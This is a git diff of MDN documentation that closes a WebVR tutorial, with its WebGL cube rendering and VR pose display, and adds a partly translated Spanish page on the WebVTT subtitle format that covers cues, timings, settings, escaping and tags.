+<p>You'll see that we are modifying these values by the position (<code>curPos</code>) and orientation (<code>curOrient</code>) of the VR display we got from the {{domxref("VRPose")}} object. The result is that, for example, as you move or rotate your head left, the x position value (<code>curPos[0]</code>) and y rotation value (<code>[curOrient[1]</code>) are added to the x translation value, meaning that the cube will move to the right, as you'd expect when you are looking at something and then move/turn your head left.</p>
+
+<p>This is a quick and dirty way to use VR pose data, but it illustrates the basic principle.</p>
+
+<pre class="brush: js notranslate">  function drawGeometry() {
+    // Establish the perspective with which we want to view the
+    // scene. Our field of view is 45 degrees, with a width/height
+    // ratio of 640:480, and we only want to see objects between 0.1 units
+    // and 100 units away from the camera.
+
+    perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+    // Set the drawing position to the "identity" point, which is
+    // the center of the scene.
+
+    loadIdentity();
+
+    // Now move the drawing position a bit to where we want to start
+    // drawing the cube.
+
+    mvTranslate([
+                  0.0 - (curPos[0] * 25) + (curOrient[1] * 25),
+                  5.0 - (curPos[1] * 25) - (curOrient[0] * 25),
+                  -15.0 - (curPos[2] * 25)
+               ]);
+
+    // Save the current matrix, then rotate before we draw.
+
+    mvPushMatrix();
+    mvRotate(cubeRotation, [0.25, 0, 0.25 - curOrient[2] * 0.5]);
+
+    // Draw the cube by binding the array buffer to the cube's vertices
+    // array, setting attributes, and pushing it to GL.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesBuffer);
+    gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+
+    // Set the texture coordinates attribute for the vertices.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+    gl.vertexAttribPointer(textureCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+
+    // Specify the texture to map onto the faces.
+
+    gl.activeTexture(gl.TEXTURE0);
+    gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+    gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+    // Draw the cube.
+
+    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+    setMatrixUniforms();
+    gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+    // Restore the original matrix
+
+    mvPopMatrix();
+  }
+</pre>
+
+<p>The next bit of the code has nothing to do with WebVR — it just updates the rotation of the cube on each frame:</p>
+
+<pre class="brush: js notranslate">  // Update the rotation for the next draw, if it's time to do so.
+
+  var currentTime = (new Date).getTime();
+  if (lastCubeUpdateTime) {
+    var delta = currentTime - lastCubeUpdateTime;
+
+    cubeRotation += (30 * delta) / 1000.0;
+  }
+
+  lastCubeUpdateTime = currentTime;</pre>
+
+<p>The last part of the rendering loop involves us calling {{domxref("VRDisplay.submitFrame()")}} — now all the work has been done and we've rendered the display on the {{htmlelement("canvas")}}, this method then submits the frame to the VR display so it is displayed on there as well.</p>
+
+<pre class="brush: js notranslate">  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}</pre>
+
+<h3 id="Displaying_the_pose_position_orientation_etc._data">Displaying the pose (position, orientation, etc.) data</h3>
+
+<p>In this section we'll discuss the <code>displayPoseStats()</code> function, which displays our updated pose data on each frame. The function is fairly simple.</p>
+
+<p>First of all, we store the six different property values obtainable from the {{domxref("VRPose")}} object in their own variables — each one is a {{domxref("Float32Array")}}.</p>
+
+<pre class="brush: js notranslate">function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;</pre>
+
+<p>We then write out the data into the information box, updating it on every frame. We've clamped each value to three decimal places using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code>, as the values are hard to read otherwise.</p>
+
+<p>You should note that we've used a conditional expression to detect whether the linear acceleration and angular acceleration arrays are successfully returned before we display the data. These values are not reported by most VR hardware as yet, so the code would throw an error if we did not do this (the arrays return <code>null</code> if they are not successfully reported).</p>
+
+<pre class="brush: js notranslate">  posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}</pre>
+
+<h2 id="WebVR_events">WebVR events</h2>
+
+<p>The WebVR spec features a number of events that are fired, allowing our app code to react to changes in the state of the VR display (see <a href="/en-US/docs/Web/API/WebVR_API#Window_events">Window events</a>). For example:</p>
+
+<ul>
+ <li>{{event("vrdisplaypresentchange")}} — Fires when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.</li>
+ <li>{{event("vrdisplayconnect")}} — Fires when a compatible VR display has been connected to the computer.</li>
+ <li>{{event("vrdisplaydisconnect")}} — Fires when a compatible VR display has been disconnected from the computer.</li>
+</ul>
+
+<p>To demonstrate how they work, our simple demo includes the following example:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+});</pre>
+
+<p>As you can see, the {{domxref("VRDisplayEvent", "event object")}} provides two useful properties — {{domxref("VRDisplayEvent.display")}}, which contains a reference to the {{domxref("VRDisplay")}} the event was fired in response to, and {{domxref("VRDisplayEvent.reason")}}, which contains a human-readable reason why the event was fired.</p>
+
+<p>This is a very useful event; you could use it to handle cases where the display gets disconnected unexpectedly, stopping errors from being thrown and making sure the user is aware of the situation. In Google's Webvr.info presentation demo, the event is used to run an <a href="https://github.com/toji/webvr.info/blob/master/samples/03-vr-presentation.html#L174"><code>onVRPresentChange()</code> function</a>, which updates the UI controls as appropriate and resizes the canvas.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has given you the very basics of how to create a simple WebVR 1.1 app, to help you get started.</p>
diff --git a/files/es/web/api/webvtt_api/index.html b/files/es/web/api/webvtt_api/index.html
new file mode 100644
index 0000000000..b7142d1dce
--- /dev/null
+++ b/files/es/web/api/webvtt_api/index.html
@@ -0,0 +1,903 @@
+---
+title: Formato de pistas de texto para la web (WebVTT)
+slug: Web/API/WebVTT_API
+translation_of: Web/API/WebVTT_API
+---
+<div>{{DefaultAPISidebar("WebVTT")}}</div>
+
+<p><span class="seoSummary"><strong>El formato de pistas de texto para la web (WebVTT)</strong> es un formato para mostrar pistas de texto en le tiempo (como subtítulos) usando el elemento {{HTMLElement("track")}}.</span> El propósito principal de los archivos de WebVTT es superponer pistas de texto a un elemento {{HTMLElement("video")}}. WebVTT es un formato basado en el texto, que debe de ser codificado usando {{Glossary("UTF-8")}}. Donde puedes usar espacios también puedes usar tabulaciones. También hay una pequeña API disponible para representar y manejar estas pistas de texto y los datos necesarios para realizar la reproducción del texto en los momentos correctos.</p>
+
+<h2 id="Archivos_WebVTT">Archivos WebVTT</h2>
+
+<p>El tipo MIME de los archivos WebVTT es <code>text/vtt</code>.</p>
+
+<p>Un archivo WebVTT (<code>.vtt</code>) contiene apuntes, que pueden ser tanto de una línea como de varias, como se muestra debajo:</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+- Nunca bebas nitrógeno líquido.
+
+00:05.000 --&gt; 00:09.000
+- Podría perforar tu estómago.
+- Podrías morir.
+
+NOTE Esta es la última línea en el archivo
+</pre>
+
+<h2 id="Estructura_WebVTT">Estructura WebVTT</h2>
+
+<p>La estructura de un archivo WevWTT consiste de los siguientes componentes, algunos de ellos opcionales, en este orden:</p>
+
+<ul>
+ <li>Una marca de orden de bytes (BOM) opcional.</li>
+ <li>La cadena de texto "<code>WEBVTT</code>".</li>
+ <li>Un encabezado de texto opcional a la derecha de <code>WEBVTT</code>.
+  <ul>
+   <li>Debe haber al menos un espacio después de <code>WEBVTT</code>.</li>
+   <li>Podrías usarlo para añadir una descripción al archivo.</li>
+   <li>Puedes usar cualquier cosa en el encabezado de texto excepto saltos de línea o la cadena "<code>--&gt;</code>".</li>
+  </ul>
+ </li>
+ <li>Una línea en blanco, que es equivalente a dos saltos de línea consecutivos.</li>
+ <li>Cero o más apuntes o comentarios.</li>
+ <li>Cero o más líneas en blanco.</li>
+</ul>
+
+<h5 id="Ejemplo_1_-_El_archivo_WebVTT_más_simple_posible">Ejemplo 1 - El archivo WebVTT más simple posible</h5>
+
+<pre class="eval notranslate">WEBVTT
+</pre>
+
+<h5 id="Ejemplo_2_-_Archivo_WebVTT_muy_simple_con_un_encabezado_de_texto">Ejemplo 2 - Archivo WebVTT muy simple con un encabezado de texto</h5>
+
+<pre class="eval notranslate">WEBVTT - Este archivo no tiene anotaciones.
+</pre>
+
+<h5 id="Ejemplo_3_-_Ejemplo_de_un_archivo_WebVTT_común_con_encabezado_y_anotaciones">Ejemplo 3 - Ejemplo de un archivo WebVTT común con encabezado y anotaciones</h5>
+
+<pre class="eval notranslate">WEBVTT - Este archivo tiene anotaciones.
+
+14
+00:01:14.815 --&gt; 00:01:18.114
+- ¿Qué?
+- ¿Dónde estamos ahora?
+
+15
+00:01:18.171 --&gt; 00:01:20.991
+- Este es el país de los murciélagos grandes.
+
+16
+00:01:21.058 --&gt; 00:01:23.868
+- [ Murciélagos chillando ]
+- Ellos no se pondrán entu pelo. Ellos están persiguiendo a los bichos.
+</pre>
+
+<h3 id="Estructura_interna_de_un_archivo_WebVTT">Estructura interna de un archivo WebVTT</h3>
+
+<p>Vamos a reexaminar uno de nuestros ejemplos previos, y mirar la estructura de las anotaciones con un poco más de detalle.</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+- Nunca bebas nitrógeno líquido.
+
+00:05.000 --&gt; 00:09.000
+- Podría perforar tu estómago.
+- Podrías morir.
+
+NOTE Esta es la última línea en el archivo</pre>
+
+<p>En el caso de cada anotación:</p>
+
+<ul>
+ <li>La primera línea se empieza con un tiempo, que es el tiempo en el que se empieza a mostrar el téxto que aparece debajo.</li>
+ <li>En la misma línea, tenemos una cadena de texto "<code>--&gt;</code>".</li>
+ <li>Acabamos la línea con un segundo tiempo, que es el tiempo en el que se termina de mostrar el texto asociado.</li>
+ <li>Nosotros podemos entonces tener una o más líneas que empiezan con un guión, cada una de ellas conteniendo parte de la pista de texto para mostrar.</li>
+</ul>
+
+<p>También podemos poner comentarios en nuestro archivo <code>.vtt</code>, para ayudarnos a recorddar información importante sobre las partes de nuestro archivo. Estas deben estar en líneas separadas empezando con la cadena <code>NOTE</code>. Aprenderas más sobre eso en la siguiente sección.</p>
+
+<p>Es importante no usar líneas en blanco extras dentro de una anotación, por ejemplo entre las líneas de tiempo y las anotaciones. WebVTT está basado en líneas, una línea en blanco finalizará la anotación.</p>
+
+<h2 id="Comentarios_en_WebVTT">Comentarios en WebVTT</h2>
+
+<p>Los comentarios son un componente opcional que se puede usar para añadir informacion a un archivo WebVTT. Los comentarios estan pensados para aquellos que leen el archivo y no se muestran con las pistas de texto. Los comentarios pueden contener saltos de línea pero no una línea en blanco, que es equivalente a dos saltos de línea consecutivos. Una línea en blanco indica el fin de un comentario.</p>
+
+<p>Un comentario no puede contener la cadena de texto "<code>--&gt;</code>", el símbolo &amp;, o el signo de menor que (&lt;). Si quisieses usar esos caracteres necesitarías hacer un escape usando por ejemplo <code>&amp;amp;</code> para el símbolo &amp;, y &amp;lt; para menor que (&lt;). Tambien es recomendado que uses la secuencia de escape de mayor que <code>&amp;gt;</code> en vez de el simbo de mayor que (<code>&gt;</code>) para evitar la confusión con etiquetas.</p>
+
+<p>Un comentario consiste en tres partes:</p>
+
+<ul>
+ <li>La cadena de texto <code>NOTE</code>.</li>
+ <li>Un espacio o un salto de línea.</li>
+ <li>Cero o más caracteres que no sean los indicados arriba.</li>
+</ul>
+
+<h5 id="Ejemplo_4_-_Ejemplo_común_de_WebVTT">Ejemplo 4 - Ejemplo común de WebVTT</h5>
+
+<pre class="eval notranslate">NOTE Esto es un comentario
+</pre>
+
+<h5 id="Ejemplo_5_-_Comentario_multilínea">Ejemplo 5 - Comentario multilínea</h5>
+
+<pre class="eval notranslate">NOTE
+Un comentario que está ocupando
+más de una línea.
+
+NOTE También puedes hacer un comentario
+que ocupe más de una línea de esta manera.
+</pre>
+
+<h5 id="Ejemplo_6_-_Uso_común_de_comentarios">Ejemplo 6 - Uso común de comentarios</h5>
+
+<pre class="eval notranslate">WEBVTT - Traducción de la película que me gusta
+
+NOTE
+Esta traducción esta hecha por Kyle para que
+Algunos amigos puedan verla con sus padres.
+
+1
+00:02:15.000 --&gt; 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --&gt; 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE Esta ultima línea puede no estar bien traducida.
+
+3
+00:02:25.000 --&gt; 00:02:30.000
+- Ta en kopp
+</pre>
+
+<h2 id="Estilizando_anotaciones_WebVTT">Estilizando anotaciones WebVTT</h2>
+
+<p>Tu puedes estilizar anotaciones WebVTT buscado elementos que coincidan con el pseudoelemento {{cssxref("::cue")}}.</p>
+
+<h3 id="Dentro_del_CSS_del_sitio">Dentro del CSS del sitio</h3>
+
+<pre class="brush: css notranslate">video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+</pre>
+
+<p>Aquí, todos los elementos de video estan estilizados para usar un gradiente gris como fondo, con <code>"papayawhip"</code> como color principal. Además el texto en negrita usando el elemento {{HTMLElement("b")}} tiene el color <code>"peachpuff"</code>.</p>
+
+<p>El ejemplo HTML de abajo actualemte se encarga de mostrar los archivos multimedia él solo.</p>
+
+<pre class="brush: html notranslate">&lt;video controls autoplay src="video.webm"&gt;
+ &lt;track default src="track.vtt"&gt;
+&lt;/video&gt;
+</pre>
+
+<h3 id="Within_the_WebVTT_file_itself">Within the WebVTT file itself</h3>
+
+<p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
+00:00:00.000 --&gt; 00:00:10.000
+- Hello &lt;b&gt;world&lt;/b&gt;.
+
+NOTE style blocks cannot appear after the first cue.</pre>
+
+<p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p>
+
+<pre class="notranslate">WEBVTT
+
+1
+00:00.000 --&gt; 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --&gt; 00:05.000
+Transcrit par Célestes™
+</pre>
+
+<pre class="brush: css notranslate">::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }</pre>
+
+<p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p>
+
+<pre class="notranslate">WEBVTT
+
+00:00:00.000 --&gt; 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --&gt; 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --&gt; 00:00:06.500 position:45%,line-right align:center size:35%
+What are you waiting for?</pre>
+
+<h2 id="WebVTT_cues">WebVTT cues</h2>
+
+<p>A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:</p>
+
+<ul>
+ <li>An optional cue identifier followed by a newline.</li>
+ <li>Cue timings.</li>
+ <li>Optional cue settings with at least one space before the first and between each setting.</li>
+ <li>One or more newlines.</li>
+ <li>The cue payload text.</li>
+</ul>
+
+<h5 id="Example_7_-_Example_of_a_cue">Example 7 - Example of a cue</h5>
+
+<pre class="eval notranslate">1 - Title Crawl
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....</pre>
+
+<h3 id="Cue_identifier">Cue identifier</h3>
+
+<p>The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "<code>--&gt;"</code>. It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).</p>
+
+<h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5>
+
+<pre class="eval notranslate">1 - Title Crawl</pre>
+
+<h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5>
+
+<pre class="eval notranslate">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --&gt; 00:00:35.743
+Third
+</pre>
+
+<h3 id="Cue_timings">Cue timings</h3>
+
+<p>A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.</p>
+
+<p>If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is <code>chapters</code>) then the file cannot have overlapping timings.</p>
+
+<p>Each cue timing contains five components:</p>
+
+<ul>
+ <li>Timestamp for start time.</li>
+ <li>At least one space.</li>
+ <li>The string "<code>--&gt;".</code></li>
+ <li>At least one space.</li>
+ <li>Timestamp for end time.
+  <ul>
+   <li>Which must be greater than the start time.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The timestamps must be in one of two formats:</p>
+
+<ul>
+ <li><code>mm:ss.ttt</code></li>
+ <li><code>hh:mm:ss.ttt</code></li>
+</ul>
+
+<p>Where the components are defined as follows:</p>
+
+<ul>
+ <li><code>hh</code> is hours.
+
+  <ul>
+   <li>Must be at least two digits.</li>
+   <li>Hours can be greater than two digits (e.g., 9999:00:00.000).</li>
+  </ul>
+ </li>
+ <li><code>mm</code> is minutes.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ss</code> is seconds.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ttt</code> is miliseconds.
+  <ul>
+   <li>Must be between 000 and 999 inclusive.</li>
+  </ul>
+ </li>
+</ul>
+
+<h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:22.230 --&gt; 00:00:24.606
+00:00:30.739 --&gt; 00:00:34.074
+00:00:34.159 --&gt; 00:00:35.743
+00:00:35.827 --&gt; 00:00:40.122</pre>
+
+<h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:01:00.000
+00:00:30.000 --&gt; 00:00:50.000</pre>
+
+<h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:10.000 --&gt; 00:01:00.581
+00:01:00.581 --&gt; 00:02:00.100
+00:02:01.000 --&gt; 00:02:01.000</pre>
+
+<h3 id="Cue_settings">Cue settings</h3>
+
+<p>Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.</p>
+
+<p>The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:</p>
+
+<ul>
+ <li><strong>vertical</strong>
+
+  <ul>
+   <li>Indicates that the text will be displayed vertically rather than horizontally, such as in some Asian languages.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="2">Table 1 - vertical values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th><code>vertical:rl</code></th>
+     <td>writing direction is right to left</td>
+    </tr>
+    <tr>
+     <th><code>vertical:lr</code></th>
+     <td>writing direction is left to right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>line</strong>
+  <ul>
+   <li>Specifies where text appears vertically. If vertical is set, line specifies where text appears horizontally.</li>
+   <li>Value can be a line number.
+    <ul>
+     <li>The line height is the height of the first line of the cue as it appears on the video.</li>
+     <li>Positive numbers indicate top down.</li>
+     <li>Negative numbers indicate bottom up.</li>
+    </ul>
+   </li>
+   <li>Or value can be a percentage.
+    <ul>
+     <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+     <li>Must be followed by a percent sign (%).</li>
+    </ul>
+   </li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 2 - line examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>line:0</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:-1</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+    <tr>
+     <th><code>line:0%</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:100%</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>position</strong>
+  <ul>
+   <li>Specifies where the text will appear horizontally. If vertical is set, position specifies where the text will appear vertically.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 3 - position examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>position:0%</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>position:100%</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>size</strong>
+  <ul>
+   <li>Specifies the width of the text area. If vertical is set, size specifies the height of the text area.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 4 - size examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>size:100%</code></th>
+     <td>full width</td>
+     <td>full height</td>
+     <td>full height</td>
+    </tr>
+    <tr>
+     <th><code>size:50%</code></th>
+     <td>half width</td>
+     <td>half height</td>
+     <td>half height</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>align</strong>
+  <ul>
+   <li>Specifies the alignment of the text. Text is aligned within the space given by the size cue setting if it is set.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 5 - align values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>align:start</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>align:middle</code></th>
+     <td>centred horizontally</td>
+     <td>centred vertically</td>
+     <td>centred vertically</td>
+    </tr>
+    <tr>
+     <th><code>align:end</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ul>
+
+<h5 id="Example_13_-_Cue_setting_examples">Example 13 - Cue setting examples</h5>
+
+<p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p>
+
+<pre class="eval notranslate">00:00:05.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --&gt; 00:00:10.000 vertical:rt line:-1 align:end
+</pre>
+
+<h3 id="Cue_payload">Cue payload</h3>
+
+<p>The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.</p>
+
+<p>A cue text payload cannot contain the string "<code>--&gt;"</code>, the ampersand character (&amp;), or the less-than sign (&lt;). Instead use the escape sequence "&amp;amp;" for ampersand and "&amp;lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&amp;gt;" instead of the greater-than character (&gt;) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.</p>
+
+<p>In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th colspan="3">Table 6 - Escape sequences</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Character</th>
+   <th>Escape Sequence</th>
+  </tr>
+  <tr>
+   <td>Ampersand</td>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+  </tr>
+  <tr>
+   <td>Less-than</td>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+  </tr>
+  <tr>
+   <td>Greater-than</td>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+  </tr>
+  <tr>
+   <td>Left-to-right mark</td>
+   <td></td>
+   <td><code>&amp;lrm;</code></td>
+  </tr>
+  <tr>
+   <td>Right-to-left mark</td>
+   <td></td>
+   <td><code>&amp;rlm;</code></td>
+  </tr>
+  <tr>
+   <td>Non-breaking space</td>
+   <td><code> </code></td>
+   <td><code>&amp;nbsp;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cue_payload_text_tags">Cue payload text tags</h3>
+
+<p>There are a number of tags, such as <code>&lt;bold&gt;</code>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is <code>chapters</code> then you cannot use tags.</p>
+
+<ul>
+ <li><strong>Timestamp tag</strong>
+
+  <ul>
+   <li>The timestamp must be greater that the cue's start timestamp, greater than any previous timestamp in the cue payload, and less than the cue's end timestamp. The <em>active text</em> is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. Any text before the <em>active text</em> in the payload is <em>previous text</em> . Any text beyond the <em>active text</em> is <em>future text</em> . This enables karaoke style captions.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5>
+
+  <pre class="eval notranslate">1
+00:16.500 --&gt; 00:18.500
+When the moon &lt;00:17.500&gt;hits your eye
+
+1
+00:00:18.500 --&gt; 00:00:20.500
+Like a &lt;00:19.000&gt;big-a &lt;00:19.500&gt;pizza &lt;00:20.000&gt;pie
+
+1
+00:00:20.500 --&gt; 00:00:21.500
+That's &lt;00:00:21.000&gt;amore
+</pre>
+  </div>
+ </li>
+</ul>
+
+<p>The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <code>&lt;b&gt;text&lt;/b&gt;</code>).</p>
+
+<ul>
+ <li><strong>Class tag</strong> (<code>&lt;c&gt;&lt;/c&gt;</code>)
+
+  <ul>
+   <li>Style the contained text using a CSS class.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5>
+
+  <pre class="notranslate">&lt;c.classname&gt;text&lt;/c&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Italics tag</strong> (<code>&lt;i&gt;&lt;/i&gt;</code>)
+  <ul>
+   <li>Italicize the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5>
+
+  <pre class="notranslate">&lt;i&gt;text&lt;/i&gt;</pre>
+  </div>
+ </li>
